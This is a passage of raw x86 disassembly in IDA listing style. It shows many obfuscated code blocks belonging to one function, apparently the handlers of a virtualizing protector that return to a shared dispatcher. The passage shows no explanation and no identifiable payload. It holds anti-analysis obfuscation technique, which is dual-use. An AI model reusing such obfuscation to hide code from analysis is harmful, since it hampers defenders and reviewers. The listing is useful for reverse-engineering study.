loc_5933CA: ; CODE XREF: sub_57DD3A+1CAF3j push esp mov edi, [esp+88h+var_88] jmp loc_59BFB4 ; --------------------------------------------------------------------------- loc_5933D3: ; CODE XREF: sub_57DD3A+23210j mov edi, [esp+88h+var_88] add esp, 4 sub ebx, eax jmp loc_59E386 ; --------------------------------------------------------------------------- loc_5933E3: ; CODE XREF: sub_57DD3A+212D0j xor ebx, [esp+84h+var_84] xor [esp+84h+var_84], ebx xor ebx, [esp+84h+var_84] pop esp add ebp, 2 xchg ebp, [esp+80h+var_80] jmp loc_5974BA ; --------------------------------------------------------------------------- neg [esp+80h+var_80] pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_593404: ; CODE XREF: sub_57DD3A+24887j add esp, 4 add eax, edx push 6450h mov [esp+84h+var_84], esi mov esi, 607934BFh add eax, esi pop esi jmp loc_59945A ; --------------------------------------------------------------------------- loc_59341E: ; CODE XREF: sub_57DD3A+193E7j sub esi, 4 jmp loc_5A097E ; --------------------------------------------------------------------------- loc_593429: ; CODE XREF: sub_57DD3A+1C8EBj add cl, 8Ah xor cl, 7Dh push 7AEFh mov [esp+84h+var_84], edx mov dh, cl push ecx push ebx mov bh, dh jmp loc_59193B ; --------------------------------------------------------------------------- loc_593442: ; CODE XREF: sub_57DD3A+2534Ej push ebx jmp loc_59EC13 ; --------------------------------------------------------------------------- loc_593448: ; CODE XREF: sub_57DD3A+110F6j pop ebp mov ebx, ebp mov ebp, [esp+26h+var_26] push 4328h mov [esp+2Ah+var_2A], ebp sub esp, 4 sub esp, 4 jmp loc_5A204A ; --------------------------------------------------------------------------- loc_593464: ; CODE XREF: sub_57DD3A+16C1Fj push [esp+32h+var_2E] jmp loc_58F986 ; --------------------------------------------------------------------------- loc_59346D: ; CODE XREF: sub_57DD3A+16D46j or edx, eax shl edx, 1 push ebp jmp loc_59FFFD ; --------------------------------------------------------------------------- loc_593477: ; CODE XREF: sub_57DD3A+158DBj push esp pop ecx add ecx, 4 push ebx mov ebx, 4 add ecx, ebx mov ebx, [esp+3Eh+var_3E] add esp, 4 jmp loc_599E4C ; --------------------------------------------------------------------------- loc_593492: ; CODE XREF: sub_57DD3A+23FB2j push edi push [esp+3Eh+var_3A] pop edi jmp loc_594891 ; --------------------------------------------------------------------------- loc_59349D: ; CODE XREF: sub_57DD3A+1D522j mov eax, [esp+3Eh+var_3E] add esp, 4 sub esp, 4 mov [esp+3Eh+var_3E], eax push esp pop eax jmp loc_5A01FE ; --------------------------------------------------------------------------- loc_5934B0: ; CODE XREF: sub_57DD3A+20CC8j mov [esp+3Eh+var_3E], edx jmp loc_596317 ; --------------------------------------------------------------------------- loc_5934B8: ; CODE XREF: sub_57DD3A+126A1j add ebp, ebx pop ebx push ebp push dword ptr [esp+4] mov ebp, [esp+8+var_8] jmp loc_5A00CC ; --------------------------------------------------------------------------- loc_5934C8: ; CODE XREF: sub_57DD3A+171E6j sub eax, 2C793CACh pop ebx sub eax, 4 xor eax, [esp+4+var_4] xor [esp+4+var_4], eax xor eax, [esp+4+var_4] jmp loc_5A0746 ; --------------------------------------------------------------------------- loc_5934E1: ; CODE XREF: sub_57DD3A+10EDDj xchg eax, edi push ebx mov ebx, 37572F70h jmp loc_59400A ; --------------------------------------------------------------------------- loc_5934ED: ; CODE XREF: sub_57DD3A+13203j mov [esp+58h+var_58], edi mov edi, 6B9A1E9Eh jmp loc_59298A ; --------------------------------------------------------------------------- loc_5934FA: ; CODE XREF: sub_57DD3A+1C4E4j sub ebp, 1E4643F2h sub eax, ebp pop ebp push esi jmp loc_591231 ; --------------------------------------------------------------------------- loc_593509: ; CODE XREF: sub_57DD3A+20C80j push 4859h mov [esp+5Ch+var_5C], ecx jmp loc_5946B2 ; --------------------------------------------------------------------------- loc_593516: ; CODE XREF: sub_57DD3A+1966Cj push ecx mov ecx, 4 jmp loc_5973AB ; --------------------------------------------------------------------------- loc_593521: ; CODE XREF: sub_57DD3A+14AE5j pop esi push eax mov eax, 0CAA54F8h and eax, 7A630335h jmp loc_592931 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb byte ptr [esp+5Eh+var_60+2], al pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_593541: ; CODE XREF: sub_57DD3A+1D1B8j xor ebx, eax pop eax push 45ABh mov [esp+62h+var_64+2], ebx jmp loc_590E2A ; --------------------------------------------------------------------------- loc_593551: ; CODE XREF: sub_57DD3A+12C46j push eax mov eax, 9CA7285h dec eax inc eax push edx jmp loc_594F84 ; --------------------------------------------------------------------------- loc_59355F: ; CODE XREF: sub_57DD3A+1DA45j add ebp, 4 xchg ebp, [esp+14h+var_16+2] jmp loc_5948D7 ; --------------------------------------------------------------------------- loc_59356A: ; CODE XREF: sub_57DD3A+10D8Ej mov eax, [esp+18h+var_1A+2] push edx mov edx, esp jmp loc_59876B ; --------------------------------------------------------------------------- loc_593575: ; CODE XREF: sub_57DD3A+147C3j push [esp+58h+var_58] push [esp+5Ch+var_5C] pop ecx jmp loc_59B6DF ; --------------------------------------------------------------------------- loc_593581: ; CODE XREF: sub_57DD3A+23C89j pop esp push ebx mov edi, [esp+5Ch+var_5C] jmp loc_59382D ; --------------------------------------------------------------------------- loc_59358B: ; CODE XREF: sub_57DD3A+122EDj mov bh, 30h mov dh, 0AAh add dh, bh pop ebx mov cl, dh pop edx sub al, cl mov cx, word ptr [esp+40h+var_42+2] sub esp, 4 mov [esp+44h+var_46+2], esi mov esi, esp add esi, 4 jmp loc_59C65E ; --------------------------------------------------------------------------- loc_5935AE: ; CODE XREF: sub_57DD3A+17275j push 185Dh mov [esp+0], edi mov edi, esp sub esp, 4 jmp loc_59D648 ; --------------------------------------------------------------------------- loc_5935C0: ; CODE XREF: sub_57DD3A+22093j mov esi, [esp+4Ch+var_4C] jmp loc_596470 ; --------------------------------------------------------------------------- loc_5935C8: ; CODE XREF: sub_57DD3A+203ECj xor bl, ch push [esp+4Ch+var_4C] pop ecx add esp, 4 sub bl, 72h xor al, bl jmp loc_5A0133 ; --------------------------------------------------------------------------- loc_5935DE: ; CODE XREF: sub_57DD3A+1FF07j pop edi pop eax sub esp, 4 mov [esp+44h+var_46+2], eax jmp loc_59E565 ; --------------------------------------------------------------------------- loc_5935EB: ; CODE XREF: sub_57DD3A+1A21Dj mov ecx, esp add ecx, 4 sub ecx, 4 xor ecx, [esp+44h+var_46+2] xor [esp+44h+var_46+2], ecx xor ecx, [esp+44h+var_46+2] pop esp mov [esp+40h+var_42+2], esi jmp loc_58EB89 ; --------------------------------------------------------------------------- loc_593608: ; CODE XREF: sub_57DD3A+1C1BEj mov esi, edi mov edi, [esp+40h+var_42+2] jmp loc_59C266 ; --------------------------------------------------------------------------- loc_593612: ; CODE XREF: sub_57DD3A+143FBj mov [esp+1Eh+var_1E], ecx jmp loc_593477 ; --------------------------------------------------------------------------- loc_59361A: ; CODE XREF: sub_57DD3A+1B996j mov bh, 0F6h and bh, 44h jmp loc_59712F ; --------------------------------------------------------------------------- loc_593624: ; CODE XREF: sub_57DD3A+1AEB1j add ebp, 40410700h add ebp, 5BE25221h add ebp, ebx push ebx mov ebx, 5DF009D5h jmp loc_595C0E ; --------------------------------------------------------------------------- loc_59363D: ; CODE XREF: sub_57DD3A+18ADDj push 143Ch mov [esp+26h+var_26], edx push [esp+26h+var_22] mov edx, [esp+2Ah+var_2A] add esp, 4 pop [esp+26h+var_26] mov esp, [esp+22h+var_22] mov word ptr [esp+22h+var_22], ax jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59365E: ; CODE XREF: sub_57DD3A+14F03j add ecx, 4 add ecx, 4 xchg ecx, [esp+62h+var_64+2] jmp loc_59E995 ; --------------------------------------------------------------------------- loc_593672: ; CODE XREF: sub_57DD3A+25450j pop ecx and eax, ebp mov ebp, [esp+5Eh+var_60+2] add esp, 4 or eax, eax jz loc_592643 push dword ptr [edi+1Ch] mov ecx, [esp+5Eh+var_60+2] jmp loc_595798 ; --------------------------------------------------------------------------- loc_593691: ; CODE XREF: sub_57DD3A+12173j pop eax sub esp, 4 mov [esp+50h+var_50], edi push esp pop edi jmp loc_59438A ; --------------------------------------------------------------------------- loc_5936A2: ; CODE XREF: sub_57DD3A+13992j sub ebx, eax pop eax add ebx, 12C7426h add ebx, edx sub ebx, 12C7426h add ebx, 2A092957h sub ebx, 2E1406B0h add eax, [ebx] pop ebx mov edx, [esp+26h+var_26] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+2Ah+var_2A] pop esp push 1711h mov [esp+2Ah+var_2A], eax jmp loc_591CF9 ; --------------------------------------------------------------------------- loc_5936E2: ; CODE XREF: sub_57DD3A+1C15Fj pop esp add eax, 0FFFFFFFFh jmp loc_59D3A4 ; --------------------------------------------------------------------------- loc_5936ED: ; CODE XREF: sub_57DD3A+16FD4j push esp pop esi jmp loc_59F7FF ; --------------------------------------------------------------------------- loc_5936F4: ; CODE XREF: sub_57DD3A+14F48j mov bh, 67h mov cl, 31h sub cl, bh pop ebx push eax mov ah, 0A1h mov dh, 89h sub dh, ah pop eax sub dh, cl jmp loc_59387F ; --------------------------------------------------------------------------- loc_59370A: ; CODE XREF: sub_57DD3A+2445Bj pop esi jmp loc_59F20A ; --------------------------------------------------------------------------- loc_593710: ; CODE XREF: sub_57DD3A+22747j pop ebp jmp loc_59DBC4 ; --------------------------------------------------------------------------- loc_593716: ; CODE XREF: sub_57DD3A+226A4j sub esi, 1AD3664h mov ebx, [esp+66h+var_68+2] add esp, 4 and esi, 19B8381Ah sub esi, 11B81006h add ecx, esi pop esi jmp loc_5977E5 ; --------------------------------------------------------------------------- loc_593736: ; CODE XREF: sub_57DD3A+1F6D8j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+62h+var_64+2] jmp loc_59C341 ; --------------------------------------------------------------------------- loc_59374A: ; CODE XREF: sub_57DD3A+1A428j mov esi, 35F81BDBh neg esi shr esi, 1 push ecx jmp loc_59E1E3 ; --------------------------------------------------------------------------- loc_593759: ; CODE XREF: sub_57DD3A+1862Fj mov [esp+66h+var_68+2], eax mov eax, 2 mov ecx, eax jmp loc_590A44 ; --------------------------------------------------------------------------- loc_593768: ; CODE XREF: sub_57DD3A+1384Cj push esi mov esi, 266C4C19h shr esi, 1 shr esi, 4 inc esi jmp loc_5937B1 ; --------------------------------------------------------------------------- loc_593779: ; CODE XREF: sub_57DD3A+22CBFj add ebp, 4 xchg ebp, [esp+10h+var_12+2] pop esp sub esp, 4 mov [esp+10h+var_12+2], ebp push 58051028h mov ebp, [esp+14h+var_16+2] add esp, 4 push ecx push eax mov eax, 0AB1647Bh jmp loc_59F6B3 ; --------------------------------------------------------------------------- loc_59379D: ; CODE XREF: sub_57DD3A+18D1Bj sub edi, ecx jmp loc_595E40 ; --------------------------------------------------------------------------- loc_5937A4: ; CODE XREF: sub_57DD3A+1FBDCj add esp, 4 mov bh, cl mov ecx, [esp+14h+var_16+2] jmp loc_59FC0D ; --------------------------------------------------------------------------- loc_5937B1: ; CODE XREF: sub_57DD3A+15A3Aj not esi neg esi xor esi, 9A7D7F1Eh add ebp, esi pop esi jmp loc_59DF30 ; --------------------------------------------------------------------------- loc_5937C3: ; CODE XREF: sub_57DD3A+1F4AEj mov ebx, [esp+0Ch+var_E+2] push 7C96h mov [esp+10h+var_12+2], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+10h+var_12+2] pop esp mov di, 0E779h xor di, bp mov ebp, [esp+0Ch+var_E+2] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+10h+var_12+2] pop esp xor ax, di mov di, word ptr [esp+0Ch+var_E+2] push ecx mov ecx, esp push edx mov edx, 3FE25499h push esi mov esi, 1DD76FDh add edx, esi jmp loc_593026 ; --------------------------------------------------------------------------- loc_593817: ; CODE XREF: sub_57DD3A+23867j xor bh, 0C0h shr bh, 5 dec bh jmp loc_5A31E0 ; --------------------------------------------------------------------------- loc_593824: ; CODE XREF: sub_57DD3A+23717j dec edx shl edx, 5 jmp loc_58E91F ; --------------------------------------------------------------------------- loc_59382D: ; CODE XREF: sub_57DD3A+1584Cj add esp, 4 jmp loc_595553 ; --------------------------------------------------------------------------- loc_593835: ; CODE XREF: sub_57DD3A+1BAF9j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+58h+var_58] pop esp mov [esp+54h+var_54], edi mov edi, 4 add ebx, edi mov edi, [esp+54h+var_54] add esp, 4 push edx mov edx, 4 add ebx, edx pop edx xchg ebx, [esp+50h+var_50] mov esp, [esp+50h+var_50] sub [esp+50h+var_50], eax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59386F: ; CODE XREF: sub_57DD3A+18374j xor ebp, 1CE24E63h sub eax, 597C635Eh jmp loc_5997A1 ; --------------------------------------------------------------------------- loc_59387F: ; CODE XREF: sub_57DD3A+159CBj mov ecx, [esp+6Eh+var_70+2] add esp, 4 shr dh, 4 and dh, 63h shr dh, 2 inc dh jmp loc_599386 ; --------------------------------------------------------------------------- loc_593895: ; CODE XREF: sub_57DD3A+1F6B5j mov ebp, [esp+6Ah+var_6C+2] jmp loc_591BF2 ; --------------------------------------------------------------------------- loc_59389D: ; CODE XREF: sub_57DD3A+2102Cj push edx push ebx push dx mov dl, 0B1h jmp loc_592DA5 ; --------------------------------------------------------------------------- loc_5938A8: ; CODE XREF: sub_57DD3A+22FD5j add esi, 4 jmp loc_590D13 ; --------------------------------------------------------------------------- loc_5938B3: ; CODE XREF: sub_57DD3A+19A17j pop ebp add ebx, eax pop eax pop ecx push 5E1Fh mov [esp+6Ch+var_6C], ecx jmp loc_59972B ; --------------------------------------------------------------------------- loc_5938C5: ; CODE XREF: sub_57DD3A+22AE4j or edx, edi pop edi push ebp mov ebp, 47B54FC6h add ebp, 0EFF5D802h jmp loc_595FA0 ; --------------------------------------------------------------------------- loc_5938D9: ; CODE XREF: sub_57DD3A+19290j push ebx jmp loc_59A5C8 ; --------------------------------------------------------------------------- loc_5938DF: ; CODE XREF: sub_57DD3A+21886j add [esp+70h+var_70], 251528B0h mov ecx, [esp+70h+var_70] jmp loc_59D080 ; --------------------------------------------------------------------------- word_5938EE dw 2489h ; CODE XREF: sub_57DD3A+1B9E6j ; --------------------------------------------------------------------------- and al, 57h mov edi, 4 add [esp+70h+var_6C], edi pop edi pop edi jmp loc_5A05C4 ; --------------------------------------------------------------------------- loc_593902: ; CODE XREF: sub_57DD3A+1E6C8j pop edi add edi, 4 sub edi, 4 xchg edi, [esp+64h+var_64] pop esp jmp loc_5A2854 ; --------------------------------------------------------------------------- loc_593915: ; CODE XREF: sub_57DD3A+234F1j and ecx, 37266739h sub ecx, 2CAE2B7Ah mov ebx, ecx pop ecx jmp loc_59A515 ; --------------------------------------------------------------------------- loc_593929: ; CODE XREF: sub_57DD3A+12DECj xor ecx, 60BA740Ch jmp loc_59C43F ; --------------------------------------------------------------------------- loc_593934: ; CODE XREF: sub_57DD3A+2470Bj sub eax, edi add eax, 7D6A6B6Eh push ecx push ebx push 97B2710h pop ebx shr ebx, 1 add ebx, 3A179D9Bh mov ecx, ebx mov ebx, [esp+70h+var_70] add esp, 4 push edi jmp loc_59075D ; --------------------------------------------------------------------------- push [esp+70h+var_70] push [esp+74h+var_74] mov eax, [esp+78h+var_78] push ebp mov ebp, esp add ebp, 4 jmp loc_5A09B5 ; --------------------------------------------------------------------------- loc_593973: ; CODE XREF: sub_57DD3A+18719j or eax, edx jmp loc_5972D1 ; --------------------------------------------------------------------------- loc_59397A: ; CODE XREF: sub_57DD3A+20E5Dj mov esi, ebx jmp loc_5992A6 ; --------------------------------------------------------------------------- loc_593981: ; CODE XREF: sub_57DD3A+24836j push ebp mov ebp, 5E3C5781h dec ebp add ebp, 67E2370h sub edx, ebp jmp loc_59D3EE ; --------------------------------------------------------------------------- loc_593995: ; CODE XREF: sub_57DD3A+14024j pop esp jmp loc_594373 ; --------------------------------------------------------------------------- loc_59399B: ; CODE XREF: sub_57DD3A+1EE86j mov edx, eax pop eax xor esi, edx pop edx sub esp, 4 mov [esp+4+var_4], ebx push esi pop ebx jmp loc_5A11D6 ; --------------------------------------------------------------------------- loc_5939B1: ; CODE XREF: sub_57DD3A+1D68Ej pop ebx dec eax jmp loc_592DDE ; --------------------------------------------------------------------------- loc_5939B8: ; CODE XREF: sub_57DD3A+20C9Dj add ecx, 553A26EEh sub ecx, 0C69A2DEh and edi, ecx pop ecx push ecx push ebx mov ebx, 1AFA7DEEh mov ecx, ebx pop ebx and edi, ecx mov ecx, [esp+0] jmp loc_58F8DA ; --------------------------------------------------------------------------- loc_5939DB: ; CODE XREF: sub_57DD3A+1E221j xchg ecx, ebp shl ebp, 7 add ebp, 45A25A2h or ebp, 37B475D6h jmp loc_5957FC ; --------------------------------------------------------------------------- loc_5939F1: ; CODE XREF: sub_57DD3A+209FBj and edx, 27C52E88h push edi mov edi, 46005F13h jmp loc_595F8E ; --------------------------------------------------------------------------- loc_593A02: ; CODE XREF: sub_57DD3A+1B851j sub ebx, 4 xchg ebx, [esp+4+var_4] jmp loc_592F64 ; --------------------------------------------------------------------------- loc_593A0D: ; CODE XREF: sub_57DD3A+21FF2j xchg ecx, [esp+4+var_4] pop ecx dec ecx sub esp, 4 mov [esp+4+var_4], esi mov esi, 44D24F7Fh jmp loc_58E678 ; --------------------------------------------------------------------------- loc_593A22: ; CODE XREF: sub_57DD3A+172BFj pop ebx mov eax, [esp+0] push ebx jmp loc_596BFC ; --------------------------------------------------------------------------- loc_593A2C: ; CODE XREF: sub_57DD3A+12A33j add ecx, edi jmp loc_5A06EB ; --------------------------------------------------------------------------- loc_593A33: ; CODE XREF: sub_57DD3A+1B8B8j dec ebp sub ebp, 0F767ED30h mov esi, ebp pop ebp add ecx, esi pop esi sub ecx, 4 push ecx push [esp+20h+var_1E+2] jmp loc_5A2AC9 ; --------------------------------------------------------------------------- loc_593A4D: ; CODE XREF: sub_57DD3A+1B160j pop esp rol [esp+20h+var_22+2], cl pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_593A57: ; CODE XREF: sub_57DD3A+1A2D3j pop esi add esi, 94512D4h jmp loc_597D7D ; --------------------------------------------------------------------------- loc_593A63: ; CODE XREF: sub_57DD3A+20952j sub edx, 4 jmp loc_59ABB9 ; --------------------------------------------------------------------------- loc_593A6E: ; CODE XREF: sub_57DD3A+1CA62j pop esp jmp loc_5988BE ; --------------------------------------------------------------------------- loc_593A74: ; CODE XREF: sub_57DD3A+1FE68j pop [esp+1Ch+var_1E+2] push ebx push ecx mov ecx, 7F117C71h mov ebx, 80EE8393h add ebx, ecx mov ecx, [esp+20h+var_22+2] add esp, 4 jmp loc_5A219A ; --------------------------------------------------------------------------- loc_593A93: ; CODE XREF: sub_57DD3A+1F4CDj dec edx neg edx add edx, 5A4B525Ch jmp loc_598005 ; --------------------------------------------------------------------------- loc_593AA1: ; CODE XREF: sub_57DD3A+1F8C4j sub esp, 4 mov [esp+20h+var_22+2], ecx mov ecx, 24190CB6h shl ecx, 3 push esi mov esi, 4D4C7CEBh xor esi, 71405073h sub ecx, 68C0341Eh sub ecx, esi add ecx, 68C0341Eh pop esi sub esp, 4 mov [esp+24h+var_26+2], ebx sub esp, 4 jmp loc_58E92C ; --------------------------------------------------------------------------- loc_593AD8: ; CODE XREF: sub_57DD3A+1226Cj push 565Ch mov [esp+58h+var_58], esp add [esp+58h+var_58], 4 jmp loc_59F5E3 ; --------------------------------------------------------------------------- loc_593AE9: ; CODE XREF: sub_57DD3A+1BC2Bj mov ebp, esi pop esi pop edi add edi, ebp jmp loc_592E52 ; --------------------------------------------------------------------------- loc_593AF4: ; CODE XREF: sub_57DD3A+2134Dj add ebp, ecx pop ecx jmp loc_58E862 ; --------------------------------------------------------------------------- loc_593AFC: ; CODE XREF: sub_57DD3A+1F140j push ecx mov ecx, 0E641C5Ah not ecx add ecx, 4186023Ah jmp loc_5A2EFF ; --------------------------------------------------------------------------- loc_593B0F: ; CODE XREF: sub_57DD3A+117C9j add edi, ecx pop ecx push ecx mov ecx, 4 sub edi, ecx pop ecx xchg edi, [esp+60h+var_60] mov esp, [esp+60h+var_60] mov [esp+60h+var_60], edi push ebx push 286A47AEh pop ebx shr ebx, 6 push ebp mov ebp, 4C3A078Dh jmp loc_59128C ; --------------------------------------------------------------------------- loc_593B39: ; CODE XREF: sub_57DD3A+24327j add edx, 4 sub edx, 4 xchg edx, [esp+68h+var_68] pop esp mov [esp+64h+var_64], ebx mov ebx, esp sub esp, 4 jmp loc_5927AE ; --------------------------------------------------------------------------- loc_593B56: ; CODE XREF: sub_57DD3A+1D8FCj pop edx add esp, 4 push 51C9h mov [esp+64h+var_64], esi jmp loc_5A07E8 ; --------------------------------------------------------------------------- loc_593B6A: ; CODE XREF: sub_57DD3A+25194j mov [esp+64h+var_64], ebx push ebp jmp loc_592657 ; --------------------------------------------------------------------------- loc_593B73: ; CODE XREF: sub_57DD3A+1410Ej mov ebx, 26CA0765h jmp loc_59ABAD ; --------------------------------------------------------------------------- loc_593B7D: ; CODE XREF: sub_57DD3A+1D9E6j pop esi add edi, ecx pop ecx add edi, 4 push edi push [esp+48h+var_46+2] pop edi pop dword ptr [esp+0] mov esp, [esp+44h+var_46+2] push edi jmp loc_598CBF ; --------------------------------------------------------------------------- loc_593B99: ; CODE XREF: sub_57DD3A+1765Dj xor [esp], edi xor edi, [esp] mov esp, [esp] shl dword ptr [esp], cl pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_593BAB: ; CODE XREF: sub_57DD3A+1997Dj or ebp, 2F1520F1h jmp loc_599CB1 ; --------------------------------------------------------------------------- loc_593BB6: ; CODE XREF: sub_57DD3A+19A6Dj mov edx, [esp+4Ch+var_4C] push edx mov edx, esp add edx, 4 jmp loc_592674 ; --------------------------------------------------------------------------- loc_593BC7: ; CODE XREF: sub_57DD3A+12FA7j mov [esp+5Ch+var_5C], edi mov edi, 781C6A36h sub ecx, 4E1715E9h add ecx, edi push ebx mov ebx, 4E1715E9h add ecx, ebx pop ebx pop edi jmp loc_59F71A ; --------------------------------------------------------------------------- loc_593BE6: ; CODE XREF: sub_57DD3A+1892Fj pop esp push esi mov esi, 3A8E4079h add eax, esi pop esi sub eax, 659523DBh jmp loc_59BC44 ; --------------------------------------------------------------------------- loc_593BFA: ; CODE XREF: sub_57DD3A+223D5j xchg ebp, [esp+54h+var_54] jmp loc_599338 ; --------------------------------------------------------------------------- loc_593C02: ; CODE XREF: sub_57DD3A+1D7AFj pop [esp+54h+var_54] pop esp mov [esp+4Ch+var_4C], esi xor [esp+4Ch+var_4C], edi xor edi, [esp+4Ch+var_4C] xor [esp+4Ch+var_4C], edi not edi xchg edi, [esp+4Ch+var_4C] pop esi xchg esi, [esp+0] pop eax push 549Bh mov [esp+0], ecx push 1 push [esp+4Ch+var_4C] push [esp+50h+var_50] jmp loc_5A0C55 ; --------------------------------------------------------------------------- loc_593C34: ; CODE XREF: sub_57DD3A+244AAj pop ebp add eax, 53D208E2h add eax, ecx sub eax, 53D208E2h pop ecx xchg eax, [esp+4Ch+var_4C] mov esp, [esp+4Ch+var_4C] xor [esp+4Ch+var_4C], eax jmp loc_58E353 ; --------------------------------------------------------------------------- loc_593C50: ; CODE XREF: sub_57DD3A+1D766j xor eax, 2A271356h sub eax, 2DF87865h add ebx, eax pop eax jmp loc_58E40A ; --------------------------------------------------------------------------- loc_593C62: ; CODE XREF: sub_57DD3A+1BE7Fj push 29542EB4h pop esi xor esi, 1D6F468Ah mov ebx, esi pop esi sub ecx, ebx mov ebx, [esp+44h+var_46+2] jmp loc_596E37 ; --------------------------------------------------------------------------- loc_593C7B: ; CODE XREF: sub_57DD3A+22340j pop esi jmp loc_5A231D ; --------------------------------------------------------------------------- loc_593C81: ; CODE XREF: sub_57DD3A+16A43j push [esp+40h+var_42+2] mov eax, [esp+44h+var_46+2] jmp loc_5949A7 ; --------------------------------------------------------------------------- loc_593C8C: ; CODE XREF: sub_57DD3A+12511j pop edx jmp loc_58F709 ; --------------------------------------------------------------------------- loc_593C92: ; CODE XREF: sub_57DD3A+134E6j push ebx jmp loc_59C301 ; --------------------------------------------------------------------------- loc_593C98: ; CODE XREF: sub_57DD3A+17956j push 537h push 63C7h mov [esp+24h+var_26+2], esp jmp loc_5A1523 ; --------------------------------------------------------------------------- loc_593CAA: ; CODE XREF: sub_57DD3A+21655j sub ebx, ebp pop ebp sub ebp, 49825DEEh add ebp, ebx add ebp, 49825DEEh pop ebx jmp loc_59CBCB ; --------------------------------------------------------------------------- loc_593CC1: ; CODE XREF: sub_57DD3A+11A6Aj mov edi, 74DE31ADh shl edi, 2 dec edi jmp loc_5963E3 ; --------------------------------------------------------------------------- loc_593CCF: ; CODE XREF: sub_57DD3A+234E8j mov edx, [esp+46h+var_46] add esp, 4 pop [esp+42h+var_42] mov esp, [esp+3Eh+var_3E] jmp loc_598B4A ; --------------------------------------------------------------------------- loc_593CE3: ; CODE XREF: sub_57DD3A+21D78j xor ebx, 77F877F8h jmp loc_59581B ; --------------------------------------------------------------------------- loc_593CEE: ; CODE XREF: sub_57DD3A+1DC32j mov edx, [esp+3Eh+var_3E] add esp, 4 push 76AFh mov [esp+3Eh+var_3E], ebp mov ebp, 2ED91D7Ch sub ebp, 21CD338Ch or ebp, 0C4F3AF3h xor ebp, 52CF56DCh neg ebp jmp loc_590597 ; --------------------------------------------------------------------------- loc_593D1D: ; CODE XREF: sub_57DD3A+1D94Aj xor edi, [esp+3Eh+var_3E] xor [esp+3Eh+var_3E], edi jmp loc_59BF1C ; --------------------------------------------------------------------------- loc_593D28: ; CODE XREF: sub_57DD3A+194A9j push [esp+3Eh+var_3A] pop ebp pop [esp+3Eh+var_3E] mov esp, [esp+3Ah+var_3A] push 18DAh mov [esp+3Eh+var_3E], ecx push 70A2h jmp loc_591143 ; --------------------------------------------------------------------------- loc_593D45: ; CODE XREF: sub_57DD3A+22FCAj pop esp inc ebx not ebx or ebx, 220748Bh jmp loc_598838 ; --------------------------------------------------------------------------- loc_593D54: ; CODE XREF: sub_57DD3A+1526Dj push esi push 53DD2EA3h mov esi, [esp+3Eh+var_3E] add esp, 4 push ebx mov ebx, 15BD685Eh and ebx, 158356F1h shl ebx, 3 shl ebx, 3 xor ebx, 5EBE0472h jmp loc_591525 ; --------------------------------------------------------------------------- loc_593D7D: ; CODE XREF: sub_57DD3A+12679j xor edx, ebp jmp loc_59B5BD ; --------------------------------------------------------------------------- loc_593D84: ; CODE XREF: sub_57DD3A+18970j mov esp, [esp-4+arg_0] push ebp push 4 pop ebp jmp loc_58FB09 ; --------------------------------------------------------------------------- loc_593D93: ; CODE XREF: sub_57DD3A+19CC2j pop ebx sub esp, 4 mov [esp+0], esi mov esi, 1B933471h shr esi, 4 inc esi shr esi, 7 push eax mov eax, 0FFFFFFFFh add esi, eax mov eax, [esp+4+var_4] add esp, 4 add esi, 1 add esi, 4CC9A50Ah sub eax, esi jmp loc_5A0235 ; --------------------------------------------------------------------------- loc_593DC7: ; CODE XREF: sub_57DD3A+16883j sub esp, 4 mov [esp+4+var_4], ecx mov ecx, 591B5EAAh neg ecx xor ecx, 840BAED9h add esi, ecx pop ecx add edi, esi pop esi sub edi, 4 jmp loc_59E0EB ; --------------------------------------------------------------------------- loc_593DEB: ; CODE XREF: sub_57DD3A+16365j mov ecx, [esp-4+arg_0] jmp loc_599057 ; --------------------------------------------------------------------------- loc_593DF3: ; CODE XREF: sub_57DD3A+1A789j shl edx, 6 push esi mov esi, 1FA2ACDh not esi not esi not esi or esi, 6CB41105h dec esi jmp loc_590EF6 ; --------------------------------------------------------------------------- loc_593E0E: ; CODE XREF: sub_57DD3A+24170j add ebx, ecx pop ecx mov eax, [esp-4+arg_0] add esp, 4 sub esp, 4 mov [esp-4+arg_0], ebx push dword ptr [esp+4] pop ebx pop [esp-4+arg_0] jmp loc_5A0E40 ; --------------------------------------------------------------------------- loc_593E2A: ; CODE XREF: sub_57DD3A+106CBj add esp, 4 jmp loc_5990B2 ; --------------------------------------------------------------------------- loc_593E32: ; CODE XREF: sub_57DD3A+19006j add eax, 4 add eax, 4 xor eax, [esp+10h+var_12+2] xor [esp+10h+var_12+2], eax jmp loc_5A1B5D ; --------------------------------------------------------------------------- lodsb jmp loc_59EA79 ; --------------------------------------------------------------------------- loc_593E4D: ; CODE XREF: sub_57DD3A+1D6C7j push edx mov edx, 4953081Ah mov ebp, edx pop edx mov esi, 0AC8E54FFh sub esi, 415F7239h sub esi, ebp add esi, 415F7239h pop ebp add esi, 0E9639BFh shr esi, 3 shl esi, 1 shl esi, 5 neg esi xor esi, 6929E46Bh add ebp, esi pop esi jmp loc_58F607 ; --------------------------------------------------------------------------- loc_593E88: ; CODE XREF: sub_57DD3A+1225Bj sub eax, 3B5C4EDEh add eax, 9D501E4h mov ebx, [esp+50h+var_50] add esp, 4 push 1010h mov [esp+50h+var_50], ebx push 674C4999h pop ebx jmp loc_5A10C3 ; --------------------------------------------------------------------------- loc_593EAE: ; CODE XREF: sub_57DD3A+205D0j neg esi add esi, 0D9C38AD0h xor ebp, esi mov esi, [esp+50h+var_50] add esp, 4 add ebp, 137A3875h neg ebp inc ebp push 34A1h mov [esp+50h+var_50], edx jmp loc_599426 ; --------------------------------------------------------------------------- loc_593ED7: ; CODE XREF: sub_57DD3A+2512Ej mov edi, [esp+50h+var_50] jmp loc_5A06F4 ; --------------------------------------------------------------------------- loc_593EDF: ; CODE XREF: sub_57DD3A+1CECEj mov edi, 370301C3h jmp loc_5944DA ; --------------------------------------------------------------------------- loc_593EE9: ; CODE XREF: sub_57DD3A+21934j push [esp+50h+var_50] jmp loc_5952C8 ; --------------------------------------------------------------------------- loc_593EF1: 